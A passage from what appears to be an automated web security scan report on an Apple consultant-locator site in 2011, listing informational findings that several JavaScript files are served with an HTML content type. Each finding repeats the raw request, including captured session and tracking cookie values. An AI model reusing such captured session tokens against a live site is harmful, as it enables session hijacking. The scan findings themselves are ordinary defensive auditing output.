Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; PHPSESSID=b0ad728d6b0d7d8318425ae1f7b86b60

Response

HTTP/1.0 200 OK
Date: Fri, 15 Jul 2011 02:23:36 GMT
Server: Apache/2.2.3 (Red Hat)
Expires: Sat, 13 Aug 2011 22:23:36 UTC
Cache-Control: Public
Pragma: Public
Content-Length: 29398
Connection: close
Content-Type: text/html;charset=UTF-8

/*
* FancyBox - jQuery Plugin
* Simple and fancy lightbox alternative
*
* Examples and documentation at: http://fancybox.net
*
* Copyright (c) 2008 - 2010 Janis Skarnelis
* That said, it
...[SNIP]...
11.12. http://consultants-locator.apple.com/javascript/formatDate.js  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://consultants-locator.apple.com
Path:   /javascript/formatDate.js

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /javascript/formatDate.js HTTP/1.1
Host: consultants-locator.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants-locator.apple.com/
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; PHPSESSID=b0ad728d6b0d7d8318425ae1f7b86b60

Response

HTTP/1.0 200 OK
Date: Fri, 15 Jul 2011 02:23:38 GMT
Server: Apache/2.2.3 (Red Hat)
Expires: Sat, 13 Aug 2011 22:23:38 UTC
Cache-Control: Public
Pragma: Public
Content-Length: 10309
Connection: close
Content-Type: text/html;charset=UTF-8

Array.prototype.exists = function (x) {
for (var i = 0; i < this.length; i++) {
if (this[i] == x) return true;
}
return false;
}

Date.prototype.formatDate = function (input,time)
...[SNIP]...
11.13. http://consultants-locator.apple.com/javascript/jquery.js  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://consultants-locator.apple.com
Path:   /javascript/jquery.js

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /javascript/jquery.js HTTP/1.1
Host: consultants-locator.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants-locator.apple.com/
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; PHPSESSID=b0ad728d6b0d7d8318425ae1f7b86b60

Response

HTTP/1.0 200 OK
Date: Fri, 15 Jul 2011 02:23:36 GMT
Server: Apache/2.2.3 (Red Hat)
Expires: Sat, 13 Aug 2011 22:23:36 UTC
Cache-Control: Public
Pragma: Public
Content-Length: 78601
Connection: close
Content-Type: text/html;charset=UTF-8

/*!
* jQuery JavaScript Library v1.4.4
* http://jquery.com/
*
* Copyright 2010, John Resig
* Dual licensed under the MIT or GPL Version 2 licenses.
* http://jquery.org/license
*
* Includes Siz
...[SNIP]...
11.14. http://consultants-locator.apple.com/javascript/jquery.tools.min.js  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://consultants-locator.apple.com
Path:   /javascript/jquery.tools.min.js

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /javascript/jquery.tools.min.js HTTP/1.1
Host: consultants-locator.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants-locator.apple.com/
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; PHPSESSID=b0ad728d6b0d7d8318425ae1f7b86b60

Response

HTTP/1.0 200 OK
Date: Fri, 15 Jul 2011 02:23:36 GMT
Server: Apache/2.2.3 (Red Hat)
Expires: Sat, 13 Aug 2011 22:23:36 UTC
Cache-Control: Public
Pragma: Public
Content-Length: 3701
Connection: close
Content-Type: text/html;charset=UTF-8

/*
* jQuery Tools 1.2.5 - The missing UI library for the Web
*
* [tooltip]
*
* NO COPYRIGHTS OR LICENSES. DO WHAT YOU LIKE.
*
* http://flowplayer.org/tools/
*
* File generated: Fri Nov 26
...[SNIP]...
11.15. http://consultants-locator.apple.com/javascript/portal.1309219793.js  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://consultants-locator.apple.com
Path:   /javascript/portal.1309219793.js

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /javascript/portal.1309219793.js HTTP/1.1
Host: consultants-locator.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants-locator.apple.com/
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; PHPSESSID=b0ad728d6b0d7d8318425ae1f7b86b60

Response

HTTP/1.0 200 OK
Date: Fri, 15 Jul 2011 02:23:37 GMT
Server: Apache/2.2.3 (Red Hat)
Expires: Sat, 13 Aug 2011 22:23:37 UTC
Cache-Control: Public
Pragma: Public
Content-Length: 66986
Connection: close
Content-Type: text/html;charset=UTF-8

// portal.js
var loadedjs = false;
var preloadFlag = true;

function changeImages() {
if (loadedjs && preloadFlag)
{
for (var i=0; i<changeImages.arguments.length; i+=2)
{

...[SNIP]...
11.16. http://consultants-locator.apple.com/javascript/tooltips.js  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://consultants-locator.apple.com
Path:   /javascript/tooltips.js

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /javascript/tooltips.js HTTP/1.1
Host: consultants-locator.apple.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://consultants-locator.apple.com/
Cookie: s_cvp35b=%5B%5B'www.fakereferrerdominator.com'%2C'1310693445477'%5D%5D; s_vnum_us=ch%3Dsupport%26vn%3D6%3Bch%3Dsafari%26vn%3D1%3Bch%3Ddeveloper%26vn%3D2%3Bch%3Dbuy%26vn%3D1%3Bch%3Dsearch%26vn%3D1%3Bch%3Dhomepage%26vn%3D1%3Bch%3Dicloud%26vn%3D1%3B; s_vi=[CS]v1|27065B988515A4F3-400001A7E000BF83[CE]; POD=us~en; ac_search=xss%7C%7C%7C%7Cxssxss; dssid2=ab5a5410-d10e-4162-a971-27aa89f1d005; ac_survey=1; dfa_cookie=appleglobal%2Capplesupport%2Cappleussearch%2Cappleusdeveloper%2Capplehome%2Cappleusicloud%2Capplewwevents; s_pv=icloud%20-%20index%20(us); s_ppv=icloud%2520-%2520index%2520%2528us%2529%2C44%2C44%2C652%2C; s_pathLength=support%3D33%2Csearch%3D1%2Cdeveloper%3D1%2Chomepage%3D1%2Cicloud%3D1%2C; ccl=p7NKCnNizOBPByMB4x05+VK70oI9PA82i6aVqCM5CVI0wsINS0SjaR+mcl8QS9H1PR0fwkamgXRctU7+jsVnq6e+YW0XclJ5vt41GKzFKIdREt5Zp86dKssGVRCO+nElD/qNmEIsJWxI/0JyQoMxq5rn/azi66ks2R8n37hER9Z8NIpKhG4OnsiE29cr708NokHoU/ERCXNzccKjL+dvTsn+CPVPmT8Ep101BJK3Oqhfj1qxTt4bEJrqwXUu4n1mW/3n1t3Y8aleRMDIhhY2XSpZBQ4thPZttMacI4GzSqvWpGY5w/vOf0SbcvC64wRiNjg3oMH1drozuoHF8p90603/aR7ZrjX8Ag7/eCC6f1bUzGmdVOXrEVjDxe3hOFAHk2S8Bh6nxuy92H2Pa2cijWMKs25vS07G9k6kQ31kSaeI+Dzg4NzwyoW/XO4BCQ3VBFJSJb4wq1XGYXw15I8GekQD00Ql5Ey5N3nglqofC53EvP5vmle8nQiyBtrsGK7zhC5eYBIE83dy6sNvYd6cdaejXs27Y4podDMAqPwa2sTLik5KFF67QqQWDJzmBzY7; geo=US; ac_history=%7B%22search%22%3A%5B%5B%22xss%22%2C%22en_US%22%2C1310696158000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695987000%5D%2C%5B%22xssxss%22%2C%22en_US%22%2C1310695964000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695956000%5D%2C%5B%22xss%22%2C%22en_US%22%2C1310695935000%5D%5D%2C%22kb%22%3A%5B%5B%22DL1045%22%2C%22Safari%204.1%20for%20Tiger%22%2C%22en_US%22%2C1310696242000%2C%22search%22%5D%5D%2C%22help%22%3A%5B%5D%2C%22psp%22%3A%5B%5D%2C%22offer_reason%22%3A%7B%7D%2C%22total_count%22%3A%7B%22searches%22%3A16%2C%22last_search%22%3A1310696158000%2C%22kbs%22%3A1%2C%22last_kb%22%3A1310696242000%7D%7D; s_cc=true; s_orientation=%5B%5BB%5D%5D; s_ria=Flash%20Not%20Detected%7C; s_v35=www.fakereferrerdominator.com; s_sq=applehome%3D%2526pid%253Dapple%252520-%252520index%252520(us)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252Ficloud%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1%26applesupport%3D%2526pid%253Dacs%25253A%25253Akb%25253A%25253Adl%25253A%25253Adl1045%25253A%25253Asafari%2525204%252520(mac%252520os%252520x%25252010.4)%25253A%25253Asafari%2525204.1%252520for%252520tiger%252520(us-en)%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fwww.apple.com%25252F_1%2526oidt%253D1%2526ot%253DA%2526oi%253D1; s_orientationHeight=652; s_invisit_us=developer%3Dtrue%3Bsupport%3Dtrue%3Bhomepage%3Dtrue%3Bicloud%3Dtrue%3B; PHPSESSID=b0ad728d6b0d7d8318425ae1f7b86b60

Response

HTTP/1.0 200 OK
Date: Fri, 15 Jul 2011 02:23:37 GMT
Server: Apache/2.2.3 (Red Hat)
Expires: Sat, 13 Aug 2011 22:23:38 UTC
Cache-Control: Public
Pragma: Public
Content-Length: 12423
Connection: close
Content-Type: text/html;charset=UTF-8

/* --- BoxOver ---
/* --- v 2.1 17th June 2006
By Oliver Bryant with help of Matthew Tagg
